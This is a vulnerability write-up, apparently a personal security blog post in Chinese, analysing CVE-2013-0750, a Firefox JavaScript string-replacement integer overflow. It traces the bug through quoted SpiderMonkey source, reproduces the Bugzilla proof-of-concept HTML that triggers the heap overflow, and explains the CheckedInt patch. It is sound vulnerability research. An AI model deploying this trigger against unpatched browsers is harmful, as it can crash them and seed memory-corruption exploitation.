CVE-2013-0750 Investigation

7erry

版本号小于 18.0 的 Firefox 中,JavaScript 引擎在解析字符串替换操作时存在整数溢出,导致分配国小的堆内存造成溢出进而导致任意代码执行

影响范围:

Mozilla Seamonkey 1.0 - 2.14
Mozilla Thunderbird 0.1 - 17.0
Mozilla Firefox 0.1 - 17.3
Suse Linux Enterprise Desktop 10/11
Suse Linux Enterprise Server 10/11
Suse Linux Enterprise Software Development KIT 10/11
Opensuse Opensuse 11.4
Opensuse Opensuse 12.2
Opensuse Opensuse 12.1
Redhat Enterprise Linux Server 5.0/6.0
Redhat Enterprise Linux Workstation 5.0/6.0
Redhat Enterprise Linux Desktop 5.0/6.0
Redhat Enterprise Linux EUS 5.9/6.3
Canonical Ubuntu Linux 11.10
Canonical Ubuntu Linux 12.10
Canonical Ubuntu Linux 12.04
Canonical Ubuntu Linux 10.04

漏洞分析

Firefox 是开源的,可直接通过源码静态分析漏洞成因。以下分析以 Firefox 17.0 为例

调试运行源码编译并开启 enable-debug 选项的 Firefox 并打开样本后程序触发 Access Violation 异常而中断,由于有源码故通过栈回溯可发现函数调用链为 ReplaceRegExpCallback -> DoReplace -> Vector,可定位到 Crash Point 位于 mozilla-release/js/src/jsstr.cpp 的 2067 行,相关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
/*
* Precondition: |rdata.sb| already has necessary growth space reserved (as
* derived from FindReplaceLength).
*/
static void
DoReplace(JSContext *cx, RegExpStatics *res, ReplaceData &rdata)
{
JSLinearString *repstr = rdata.repstr;
const jschar *cp;
const jschar *bp = cp = repstr->chars();

const jschar *dp = rdata.dollar;
const jschar *ep = rdata.dollarEnd;
for (; dp; dp = js_strchr_limit(dp, '$', ep)) {
/* Move one of the constant portions of the replacement value. */
size_t len = dp - cp;
rdata.sb.infallibleAppend(cp, len);
cp = dp;

JSSubString sub;
size_t skip;
if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) {
len = sub.length;
rdata.sb.infallibleAppend(sub.chars, len); //! Crash Point
cp += skip;
dp += skip;
} else {
dp++;
}
}
rdata.sb.infallibleAppend(cp, repstr->length() - (cp - bp));
}

static bool
ReplaceRegExpCallback(JSContext *cx, RegExpStatics *res, size_t count, void *p)
{
ReplaceData &rdata = *static_cast<ReplaceData *>(p);

rdata.calledBack = true;
size_t leftoff = rdata.leftIndex;
size_t leftlen = res->matchStart() - leftoff;
rdata.leftIndex = res->matchLimit();

size_t replen = 0; /* silence 'unused' warning */
if (!FindReplaceLength(cx, res, rdata, &replen))
return false;

size_t growth = leftlen + replen;
if (!rdata.sb.reserve(rdata.sb.length() + growth))
return false;

JSLinearString &str = rdata.str->asLinear(); /* flattened for regexp */
const jschar *left = str.chars() + leftoff;

rdata.sb.infallibleAppend(left, leftlen); /* skipped-over portion of the search value */
DoReplace(cx, res, rdata);
return true;
}

Crash Point 处为 rdata.sbinfallibleAppend 方法调用,DoReplace 函数内未发现 rdata.sb 存在问题操作,污点分析到 DoReplace 的主调函数 ReplaceRegExpCallback,发现可疑操作 rdata.sb.reserve(rdata.sb.length() + growth)。在 ReplaceRegExpCallback 下断点进行动态分析发现执行到 rdata.sb.reserve(rdata.sb.length() + growth)growth 为 0,很像整数溢出后的结果。对 growth 进行污点分析,溯源到 FindReplaceLength 函数,其相关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static bool
FindReplaceLength(JSContext *cx, RegExpStatics *res, ReplaceData &rdata, size_t *sizep)
{
...
JSString *repstr = rdata.repstr;
size_t replen = repstr->length();
for (const jschar *dp = rdata.dollar, *ep = rdata.dollarEnd; dp;
dp = js_strchr_limit(dp, '$', ep)) {
JSSubString sub;
size_t skip;
if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) {
replen += sub.length - skip;
dp += skip;
} else {
dp++;
}
}
*sizep = replen;
return true;
}

注意到可疑操作 replen += sub.length - skip;,在该处下条件断点进行动态分析。发现 replen 在循环中每次递增 0xFFFFE,在循环结束后溢出为 0。ReplaceRegExpCallback 中的 growth 变量因此变小,使得 rdata.sbreserve 方法为字符串替换分配的堆块过小,并在 DoReplace 函数内进行字符串替换时因预留空间不足发生堆溢出,程序崩溃

漏洞利用

该漏洞尚未发现通用的漏洞利用方式,令人感慨

Exploit 分析

POC 来自于 Bugzilla

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<script type="text/javascript">

function puff(x, n){
while(x.length<n) x+=x;
x = x.substring(0, n);
return x;
}
var x = "1";
var rep = "$1";

x = puff(x, 1<<20);
rep = puff(rep, 1<<16);
y = x.replace(/(.+)/g, rep);
alert(y.length);

</script>
</html>

puff 函数会将字符串自我凭借到指定长度,POC 通过该函数创建了长度为 2^20 的字符串 x 和长度为 2^16 的字符串 reprep 内包含了大量与 x 相似的字串,随后通过正则表达式使用 replace 方法对字符串进行替换。由于字符串的长度惊人,故其得以触发上述整数溢出漏洞

漏洞修复

Patch 后 replen 变量类型从 size_t 变成了 CheckedInt<uint32_t>,该类定义在 CheckedInt.h 头文件中,提供了检测整数值是否在有效范围内的 isValid 方法。同时 FindReplaceLength 函数将在循环处理 replen 时对其大小进行判断确保 replen 为正整数递增,循环结束后会再调用 isValid 方法判断 replen 是否溢出,是则会报告溢出并返回失败

Reference

NVD - CVE-2013-0750
CVE - CVE-2013-0750
Github - CVE-2013-0750
Bugzilla - String Replacement Heap Corruption Remote Code Execution Vulnerability (ZDI-CAN-1473)
漏洞战争

  • Título: CVE-2013-0750 Investigation
  • Autor: 7erry
  • Creado el : 2024-12-12 17:29:44
  • Actualizado el : 2024-12-12 17:29:44
  • Enlace: https://7erryx.github.io/2024/12/12/Vulnerability Investigation/CVE-2013-0750-Investigation/
  • Licencia: Este trabajo está licenciado bajo CC BY-NC-SA 4.0.
Comentarios
En esta página
CVE-2013-0750 Investigation